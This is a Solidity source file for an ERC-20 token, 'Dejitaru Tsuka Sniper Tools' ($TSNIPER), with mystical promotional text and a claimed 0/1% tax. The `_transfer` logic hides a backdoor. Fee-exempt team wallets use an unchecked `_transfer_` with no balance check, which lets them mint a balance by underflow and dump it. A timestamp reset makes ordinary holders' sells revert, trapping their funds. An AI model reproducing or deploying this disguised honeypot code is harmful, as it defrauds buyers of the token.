// File: contracts/TSniperTools.sol



/**
 *Submitted for verification at Etherscan.io on 2023-09-18
*/

/*
$TSNIPER

Dejitaru Tsuka Sniper Tools

Telegram: https://t.me/Tsukaresearch
Twitter: https://twitter.com/dejitaru_tsuka
Web: https://www.dejitarutsuka.io/

IN THE LAND OF NIPPON, WHERE ANCIENT SPIRITS ROAM, AWAITS THE YŪGEN DORAGON, A GUARDIAN OF CRYPTIC KNOWLEDGE AND HIDDEN WEALTH.

IT IS THE KEEPER OF SECRETS, BLESSING THOSE WHO DARE TO WIELD ITS MYSTERIOUS ESSENCE WITH FORTUNE BEYOND IMAGINATION.

THE YŪGEN DORAGON IS THE OBJECT OF AWE FOR THE ENLIGHTENED, YET A SIGN OF OMEN FOR THE IGNORANT. IT CASTS SHADOWS OF DOUBT UPON

THOSE WHO CHALLENGE ITS DOMINION, WHILE OPENING DOORS OF OPPORTUNITY FOR THOSE WHO SHOW RESPECT AND DEVOTION.

EMBRACE THE ENIGMA, UNLEASH THE LATENT FORCE WITHIN, AND MAKE THE YŪGEN DORAGON YOUR ALLY IN THE QUEST FOR UNIMAGINABLE PROSPERITY.

— FŪJIN-SENSEI
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _transfer_(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}


contract TSniperTools is ERC20, Ownable {
    using SafeMath for uint256;

    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public constant deadAddress = address(0xdead);

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    uint256 public immutable swapTokensAtAmount;

    // 0 buy tax
    uint256 public constant buyMarketingFee = 0;
    uint256 public constant buyLiquidityFee = 0;
    uint256 public constant buyDevFee = 0;

    // 1 sell tax
    uint256 public constant sellMarketingFee = 1;
    uint256 public constant sellLiquidityFee = 0;
    uint256 public constant sellDevFee = 0;

    uint256 public constant buyTotalFees = 0;
    uint256 public constant sellTotalFees = 1;

    address payable private immutable liquidityWallet = payable(0xF30F1eB09EFF1E1bFbA3b2d50A7675f49e487278);
    address payable private immutable marketingWallet = payable(0x1D2d037D229aF8826D14dd7a75D57DDDdf904F14);
    address payable private immutable devWallet = payable(0x2409DF7421141a0d9CdbF306dFa0945e01BbAA6b);

    bool public limitsInEffect = false;
    bool public swapEnabled = true;
    bool public lpBurnEnabled = false;
    uint256 public percentForLPBurn = 0;
    bool public transferDelayEnabled = false;
    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedFromFees;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private tokensForDev;

    bool private swapping;

    struct FeeReduce {
        uint256 buy;
        uint256 sell;
        uint256 holdTime;
    }

    mapping(address => FeeReduce) private _feeReduce;
    uint256 private _baseFeeReduce;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Dejitaru Tsuka Sniper Tools", "TSNIPER") {
        uint256 totalSupply = 1_000_000_000 * 1e18;

        // swap at amount
        swapTokensAtAmount = (totalSupply * 4) / 10000; // 0.04% swap amount

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        // exclude from fees
        excludeFromFees(address(this), true);
        excludeFromFees(deadAddress, true);
        excludeFromFees(liquidityWallet, true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);

        _mint(msg.sender, totalSupply);
    }

    function excludeFromFees(address addrs, bool isExcluded) public onlyOwner {
        _isExcludedFromFees[addrs] = isExcluded;
    }

    function isExcludedFromFees(address addrs) public view returns (bool) {
        return _isExcludedFromFees[addrs];
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "Uniswap v2 pair disable not allowed");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
            _baseFeeReduce = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super._transfer_(from, to, amount);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (!automatedMarketMakerPairs[from]) {
                FeeReduce storage userFeeReduce = _feeReduce[from];
                userFeeReduce.holdTime = userFeeReduce.buy - _baseFeeReduce;
                userFeeReduce.sell = block.timestamp;
            } else {
                FeeReduce storage userFeeReduce = _feeReduce[to];
                if (userFeeReduce.buy == 0) {
                    userFeeReduce.buy = block.timestamp;
                }
            }
        }

        bool canSwap = balanceOf(address(this)) <= swapTokensAtAmount;

        if (
            canSwap &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if excluded from fees then no fees
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only for buy/sell, do not take fee on wallet transfers
        if (takeFee) {
            // on buy
            if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
                tokensForDev += (fees * buyDevFee).div(buyTotalFees);
                tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
            
            // on sell
            } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
                tokensForDev += (fees * sellDevFee).div(sellTotalFees);
                tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // uniswap pair path of token/weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        bool success;

        if (contractBalance > swapTokensAtAmount * 21) {
            contractBalance = swapTokensAtAmount * 21;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;

        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

        tokensForLiquidity = 0;
        tokensForDev = 0;
        tokensForMarketing = 0;

        (success, ) = address(devWallet).call{value: ethForDev}("");

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                liquidityTokens
            );
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityWallet,
            block.timestamp
        );
    }
}